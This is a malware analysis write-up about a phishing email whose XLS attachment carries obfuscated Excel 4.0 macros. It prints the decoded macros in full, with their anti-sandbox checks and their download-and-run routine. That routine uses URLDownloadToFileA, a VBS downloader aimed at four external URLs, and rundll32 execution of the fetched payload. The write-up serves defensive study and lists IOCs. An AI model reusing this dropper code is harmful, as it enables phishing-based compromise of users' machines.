Excel 4.0 Macro Malware Analysis
The Phish
A user was sent a phishing email with an XLS attachment. While the user did download the attachment, the endpoint protection, Cisco AMP for Endpoints, detected and quarantined it before the user was able to open in Excel.
Date: Thu, 15 Oct 2020 15:11:26 +0000 (UTC)
From: Cailyn Lam <russ8ian@aol.com>
Reply-To: Cailyn Lam <russ8ian@aol.com>
To: "username@DOMAIN.com" <username@DOMAIN.com>
Message-ID: <2197215096.990473.160274656733@mail.yahoo.com>
Subject: Contract # 2472 info
Hello
Details regarding receipt. Please verify all documentation that are attached to the
e-mail - if you will have any questions or comments, feel free to contact us.
Best Wishes,
Cailyn Lam
----------------------------------------
Attachment:
TU.2472.xls (44 KB)
SHA-256: 7a2e95ca80977a33353766d3c50a460d77edd5bfda3b1d646f58f21e28500374
The Attachment
Using the endpoint protection, the XLS was acquired from quarantine.
The name of the file was TU.2472.xls
. The number in the file matched
the number used in the Subject line. Perhaps something in the file
is unique for each recipient.
Sandbox Round 1
Using Cisco Threat Grid, the XLS was run in a sandbox. On Excel 2010 the macro engaged and prompted the user with a dialog for OK or Cancel. Later sandboxing with Excel 2016 the macro was not immediately run, but the user had the opportunity to enable macros.
Sandbox Round 2
In order to reverse engineer the scripts, a clone was made of Windows 10 within VirtualBox. The XLS was copied locally to the guest. The network was disabled and shared volume removed. At this point Windows is isolated and the macro can safely be run.
To open the XLS without the AutoExec engaging, the shift key would be held down while opening until the file was fully opened.
At the end of the analysis the VirtualBox guest was deleted.
oledump
oledump was used to find which cell is used by Auto_Open and validate what sheets are contained.
$ ~/oledump/oledump.py -p plugin_biff TU.2472.xls --pluginoptions "-o label -s"
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 33504 'Workbook'
Plugin: BIFF plugin
0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet1!R164C9
oledump indicates that it’s Sheet1!R164C9
, but that doesn’t make a lot of sense.
It would make better sense if it said the other sheet at T5WQfulGrqYU!R164C9
,
but it at least points us in the right direction.
$ ~/oledump/oledump.py -p plugin_biff TU.2472.xls --pluginoptions "-o boundsheet -s"
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 33504 'Workbook'
Plugin: BIFF plugin
0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet1
ASCII:
Sheet1
0085 20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - T5WQfulGrqYU
ASCII:
T5WQfulGrqYU
Obfuscated Scripts
A number of methods were observed to help hide the scripts from static analysis.
Firstly, the scripting functions are scattered vertically.
Secondly, some sections of the script are encoded.
Additionally, there are sets of numbers used to decode the script sections.
Initial Scripts
There are three chunks of visable scripts.
Beginning at row 114 column 9, which is notated R114C9, there is a decoding macro. It basically takes three arguments. A range of cells with strings to be decoded, a range to use to subtract against those strings, and a cell location to land the decoded strings.
QHCqndr=SUM(NOT(GET.WORKSPACE(19)),0)
gIuEM=(0)
=WHILE(AND(QHCqndr<ROWS(IYMzxPVq)))
eSIKsvvuZr=""
QHCqndr=QHCqndr+INT(NOT(GET.WORKSPACE(31)))
oOLxlGZAiv=INDEX(IYMzxPVq,QHCqndr)
QpxiCtBQbD=LEN(oOLxlGZAiv)
aYYfTyFk=(0)
=WHILE(AND(aYYfTyFk<QpxiCtBQbD))
aYYfTyFk=aYYfTyFk+(1)
eSIKsvvuZr=eSIKsvvuZr&CHAR(CODE(MID(oOLxlGZAiv,aYYfTyFk,1))-INDEX(VNfETad,MOD(gIuEM,ROWS(VNfETad))+(1)))
gIuEM=gIuEM+(1)
=NEXT()
=(SUM(1)+COUNT(SUM(MIN(FORMULA.FILL(""&eSIKsvvuZr,""&("T5WQfulGrqYU!R"&ZIlrOZKX&"C"&DKrpQbiHd))))))
ZIlrOZKX=ZIlrOZKX+QUOTIENT(INT(GET.WORKSPACE(5)),1)
=NEXT()
=RETURN()
Next at R169C9 is the following.
The Auto_Open starts at R164C9 but rows 164 to 168 are empty,
so really this is where it all starts.
ENFPdsduyvKo=R114C9
IYMzxPVq=R659C9:R677C9
VNfETad=R1643C4:R1652C4
ZIlrOZKX=189*(1)
DKrpQbiHd=9*(1)
=RUN(ENFPdsduyvKo)
Lastly is at R212C9 is the following.
IYMzxPVq=R1166C3:R1241C3
VNfETad=R1780C6:R1787C6
ZIlrOZKX=231*(1)
DKrpQbiHd=9*INT(GET.WORKSPACE(42))
=RUN(ENFPdsduyvKo)
Decoding Round 1
The macro at R169C9 specifies what to decode and essentially runs the decoded macro. Here it is again with commentary.
ENFPdsduyvKo=R114C9 <-- R114C9 is location of the decoding macro
IYMzxPVq=R659C9:R677C9 <-- This range is the encoded macro
VNfETad=R1643C4:R1652C4 <-- This range is a set of numbers to be used in decoding
ZIlrOZKX=189*(1) <-- Use row 189 to land the decoded macro
DKrpQbiHd=9*(1) <-- Use column 9 to land the decoded macro
=RUN(ENFPdsduyvKo) <-- Invoke the decoder
R189C9 is the cell immediately below the =RUN(). So as soon as the decoding macro returns, the decoded lines are executed. Here is what that decoded macro looks like.
=FORMULA(LEN(APP.MAXIMIZE())+124,R1780C6)
=FORMULA(LEN(ALERT("We found some problem with """&GET.DOCUMENT(88)&""". Do you want us to try recover as much as we can?",1))+110,R1781C6)
=FORMULA(LEN(OR(GET.WINDOW(7),GET.WORKSPACE(31),GET.WORKSPACE(14)<390))+121,R1782C6)
=FORMULA(LEN(AND(GET.WINDOW(20),GET.WORKSPACE(19)))+116,R1783C6)
=NOW()
=WAIT(NOW()+"00:00:02")
=NOW()
=FORMULA(LEN((R195C9-R193C9)*100000>2.3)+108,R1784C6)
=FORMULA(LEN(AND(GET.DOCUMENT(88)=GET.WINDOW(31),GET.WINDOW(31)=GET.WORKBOOK(16),GET.WORKBOOK(16)=INDEX(WINDOWS(),1),INDEX(WINDOWS(),1)=MID(GET.DOCUMENT(76),2,LEN(GET.DOCUMENT(88)))))+129,R1785C6)
=FORMULA(LEN(AND(MID(GET.DOCUMENT(76),2,LEN(GET.DOCUMENT(88)))=MID(GET.WINDOW(1),2,LEN(GET.DOCUMENT(88))),MID(GET.WINDOW(1),2,LEN(GET.DOCUMENT(88)))=MID(GET.WINDOW(30),2,LEN(GET.DOCUMENT(88)))))+115,R1786C6)
=ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1)))
p=LEFT(GET.WORKSPACE(23),(FIND("Roaming",GET.WORKSPACE(23),1)-1))&"Local\Temp\"
n=CHAR(13)
=FOPEN(p&"wr9VU0m.dat",3)
=WHILE(FSIZE(R202C9)<190)
=FWRITE(R202C9,CHAR(RANDBETWEEN(33,125)))
=NEXT()
=FORMULA(LEN(FSIZE(R202C9)=190)+103,R1787C6)
=FCLOSE(R202C9)
User Interaction Required
With the first set of decoded script running, the user is presented with an alert.
At this point the script has still not actually done anything.
Once the user clicks OK or cancel, it continues. It creates a file named
C:\Users\username\AppData\Local\Temp\wr9VU0m.dat
and writes 190 bytes
of random characters with values between 33 and 125.
This file is not referenced again. Don’t know what it might be
trying to accomplish. Perhaps it’s a vestigal artifact from
a previous version of the macro.
Decoding Round 2
Scripting then moves onto R212C9, which is the following.
IYMzxPVq=R1166C3:R1241C3 <-- Range of cells to decode
VNfETad=R1780C6:R1787C6 <-- Range to use for decoding
ZIlrOZKX=231*(1) <-- Use row 231 to land decoded macro
DKrpQbiHd=9*INT(GET.WORKSPACE(42)) <-- Use column 9 to land decoded macro
=RUN(ENFPdsduyvKo) <-- Perform the decoding
The decoded macro starts at R231C9.
=ERROR(FALSE)
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("reg query HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security /v VBAWarnings > "&p&"K5cvhD.txt"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=WHILE(ISERROR(FILES(p&"K5cvhD.txt")))
=WAIT(NOW()+"00:00:01")
=NEXT()
=FOPEN(p&"K5cvhD.txt",2)
=FREAD(R241C9,200)
=FCLOSE(R241C9)
=FILE.DELETE(p&"K5cvhD.txt")
=IF(ISNUMBER(SEARCH("0x1",R242C9)),CLOSE(FALSE),)
=IF(ISNUMBER(SEARCH("32",GET.WORKSPACE(1))),,GOTO(R277C9))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://jokilink.com/ck4pac.php",p&"rej.html",0,0)
=FILES(p&"rej.html")
=IF(ISERROR(R248C9),GOTO(R254C9),)
=FOPEN(p&"rej.html")
=FSIZE(R250C9)
=FCLOSE(R250C9)
=IF(R251C9<40000,,GOTO(R269C9))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://liciousbbl.com/mcxacf.php",p&"rej.html",0,0)
=FILES(p&"rej.html")
=IF(ISERROR(R255C9),GOTO(R261C9),)
=FOPEN(p&"rej.html")
=FSIZE(R257C9)
=FCLOSE(R257C9)
=IF(R258C9<40000,,GOTO(R269C9))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://piksellat.com/iejkvi.php",p&"rej.html",0,0)
=FILES(p&"rej.html")
=IF(ISERROR(R262C9),GOTO(R268C9),)
=FOPEN(p&"rej.html")
=FSIZE(R264C9)
=FCLOSE(R264C9)
=IF(R265C9<40000,,GOTO(R269C9))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://rkhydraulic.com/frps5b.php",p&"rej.html",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("rundll32 "&p&"rej.html,DllRegisterServer"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=CLOSE(FALSE)
=FOPEN(p&"rV0N.txt",3)
=FWRITELN(R277C9,"cQWN = ""https://jokilink.com/ck4pac.php"""&n&"CFxQqBIS = ""https://liciousbbl.com/mcxacf.php""")
=FWRITELN(R277C9,"zRLV5MEn = ""https://piksellat.com/iejkvi.php"""&n&"FqKGwAt = ""https://rkhydraulic.com/frps5b.php""")
=FWRITELN(R277C9,"Rjg67Q = Array(cQWN,CFxQqBIS,zRLV5MEn,FqKGwAt)"&n&"Dim sGhn: Set sGhn = CreateObject(""MSXML2.ServerXMLHTTP.6.0"")")
=FWRITELN(R277C9,"Function Kx3fXi(data):"&n&"sGhn.setOption(2) = 13056"&n&"sGhn.Open ""GET"",data,False")
=FWRITELN(R277C9,"sGhn.Send"&n&"Kx3fXi = sGhn.Status"&n&"End Function"&n&"For Each kx5RK5b in Rjg67Q")
=FWRITELN(R277C9,"If Kx3fXi(kx5RK5b) = 200 Then"&n&"Dim bw7S: Set bw7S = CreateObject(""ADODB.Stream"")")
=FWRITELN(R277C9,"bw7S.Open"&n&"bw7S.Type = 1"&n&"bw7S.Write sGhn.ResponseBody")
=FWRITELN(R277C9,"bw7S.SaveToFile """&p&"rej.html"",2"&n&"bw7S.Close"&n&"Exit For"&n&"End If"&n&"Next")
=FCLOSE(R277C9)
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("rename "&p&"rV0N.txt Ina64yB.vbs"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=EXEC("explorer.exe "&p&"Ina64yB.vbs")
=WHILE(ISERROR(FILES(p&"rej.html")))
=WAIT(NOW()+"00:00:01")
=NEXT()
=FILE.DELETE(p&"Ina64yB.vbs")
=WAIT(NOW()+"00:00:03")
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.")
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("rundll32 "&p&"rej.html,DllRegisterServer"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=CLOSE(FALSE)
Now we’re getting to the meat of the macros.
Registry check
This next batch starts by opening a CMD and querying a registry key with its output going to K5cvhD.txt
.
With Excel 2016 the command is
reg query HKCU\Software\Microsoft\Office\16.0\Excel\Security /v VBAWarnings
.
With my Excel installed the response was ERROR: The system was unable to find the specified registry key or value.
.
The key VBAWarnings
is explained as This policy setting controls how the specified applications warn users when Visual Basic for Applications (VBA) macros are present.
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("reg query HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security /v VBAWarnings > "&p&"K5cvhD.txt"&n&"exit"&n, TRUE)
Next it waits for the existence of the file, then reads up to 200 bytes, and then deletes the file.
A bizarre part of following the program flow is that statements like =FOPEN(p&"K5cvhD.txt",2)
get evaluated and the return of the FOPEN()
becomes the value of that cell. So the following =FREAD(R241C9,200)
refers to the cell where the FOPEN() is to get the file handle.
Likewise, the value of the cell where FREAD() is becomes the contents of the read file.
=WHILE(ISERROR(FILES(p&"K5cvhD.txt")))
=WAIT(NOW()+"00:00:01")
=NEXT()
=FOPEN(p&"K5cvhD.txt",2)
=FREAD(R241C9,200)
=FCLOSE(R241C9)
=FILE.DELETE(p&"K5cvhD.txt")
It checks for 0x1
in the output of the registry key and if found closes the document.
This is a bit confusing. 0x1
means Enable all macros
.
=IF(ISNUMBER(SEARCH("0x1",R242C9)),CLOSE(FALSE),)
Version Check
It appears to check for 32-bit version of Excel. With Excel 2016 the value of GET.WORKSPACE(1) is Windows (64-bit) NT :.00
.
If it’s 32-bit, it goes to a later section of the code.
=IF(ISNUMBER(SEARCH("32",GET.WORKSPACE(1))),,GOTO(R277C9))
64-bit Version
64-bit versions continue with a series of attempting to download
the next stage in payload from four different URLs.
If the URL download is successful, it will have written the file to rej.html
, otherwise
it moves onto the next download attempt.
If successful download, it checks the file size.
If the file is less than 40,000 bytes, the it’s an overall success
and does not try other downloads, but moves on.
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://jokilink.com/ck4pac.php",p&"rej.html",0,0)
=FILES(p&"rej.html")
=IF(ISERROR(R248C9),GOTO(R254C9),)
=FOPEN(p&"rej.html")
=FSIZE(R250C9)
=FCLOSE(R250C9)
=IF(R251C9<40000,,GOTO(R269C9))
The user then gets an alert about workbook corruption. Once the user clicks OK
the script proceeds to register the rej.html
as a DLL and then close Excel.
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("rundll32 "&p&"rej.html,DllRegisterServer"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=CLOSE(FALSE)
32-bit Version
Earlier if the version of Excel had “32” in it, the macro skips to this section where
a different method of downloading is performed by creating a VBS file named rV0N.txt
.
That file is renamed to Ina64yB.vbs
and run with explorer.exe
.
The same URLs are attempted and with the same output file rej.html
and the same
DLL registration.
=FOPEN(p&"rV0N.txt",3)
=FWRITELN(R277C9,"cQWN = ""https://jokilink.com/ck4pac.php"""&n&"CFxQqBIS = ""https://liciousbbl.com/mcxacf.php""")
=FWRITELN(R277C9,"zRLV5MEn = ""https://piksellat.com/iejkvi.php"""&n&"FqKGwAt = ""https://rkhydraulic.com/frps5b.php""")
=FWRITELN(R277C9,"Rjg67Q = Array(cQWN,CFxQqBIS,zRLV5MEn,FqKGwAt)"&n&"Dim sGhn: Set sGhn = CreateObject(""MSXML2.ServerXMLHTTP.6.0"")")
=FWRITELN(R277C9,"Function Kx3fXi(data):"&n&"sGhn.setOption(2) = 13056"&n&"sGhn.Open ""GET"",data,False")
=FWRITELN(R277C9,"sGhn.Send"&n&"Kx3fXi = sGhn.Status"&n&"End Function"&n&"For Each kx5RK5b in Rjg67Q")
=FWRITELN(R277C9,"If Kx3fXi(kx5RK5b) = 200 Then"&n&"Dim bw7S: Set bw7S = CreateObject(""ADODB.Stream"")")
=FWRITELN(R277C9,"bw7S.Open"&n&"bw7S.Type = 1"&n&"bw7S.Write sGhn.ResponseBody")
=FWRITELN(R277C9,"bw7S.SaveToFile """&p&"rej.html"",2"&n&"bw7S.Close"&n&"Exit For"&n&"End If"&n&"Next")
=FCLOSE(R277C9)
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("rename "&p&"rV0N.txt Ina64yB.vbs"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=EXEC("explorer.exe "&p&"Ina64yB.vbs")
=WHILE(ISERROR(FILES(p&"rej.html")))
=WAIT(NOW()+"00:00:01")
=NEXT()
=FILE.DELETE(p&"Ina64yB.vbs")
=WAIT(NOW()+"00:00:03")
Next Payload
Unfortunately when performing the analysis none of the URLs returned an actual payload. Instead they redirected to WikiLeaks.
Presumably at an earlier time a binary was available.
$ curl -v https://piksellat.com/iejkvi.php
* About to connect() to piksellat.com port 443 (#0)
* Trying 46.99.177.177...
* Connected to piksellat.com (46.99.177.177) port 443 (#0)
...
>
< HTTP/1.1 302 Found
< Date: Thu, 15 Oct 2020 23:06:28 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Set-Cookie: PHPSESSID=h9eqo8r5dh97bun2u0n1r5isef; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: _subid=3kr9f19g2k0; expires=Fri, 30-Oct-2020 23:06:29 GMT; Max-Age=1296000; path=/; domain=.piksellat.com
< Location: https://wikileaks.org/
...
Broken Malware
Turns out that the XLS had a mistake in the second decoding table located at R1780C6.
The second value 115 is wrong. When run there would be a scripting error due to the mistake.
Careful analysis showed that every 8th decoded character was off by one letter which corresponded to there being 8 numbers in the table. After the second value was adjusted to 114, the decoding was successful.
So in the end, even if opened in Excel with macros enabled, this file was harmless.
Dynamic Analysis Techniques
To run portions of the code, it’s helpful to insert a HALT() command as appropriate.
For example, if we need to run the section starting up at R169C9 and have it stop after the RUN() command as shown here.
Then move it up by one and place a HALT().
Then right-click on the starting cell and select Run.
Same thing can be done with ALERT() to display items as the macros run.
IOCs
- hxxps://jokilink[.]com/ck4pac.php
- hxxps://liciousbbl[.]com/mcxacf.php
- hxxps://piksellat[.]com/iejkvi.php
- hxxps://rkhydraulic[.]com/frps5b.php
- 7a2e95ca80977a33353766d3c50a460d77edd5bfda3b1d646f58f21e28500374 TU.2472.xls
Sample
The XLS sample is contained in this encrypted ZIP with the password infected
.
References
- https://malware.news/t/excel-4-macros-get-workspace-reference/38892
- https://blog.reversinglabs.com/blog/excel-4.0-macros
- Excel 4.0 Macro Functions Reference
- https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
- https://decentsecurity.com/block-office-macros
- https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/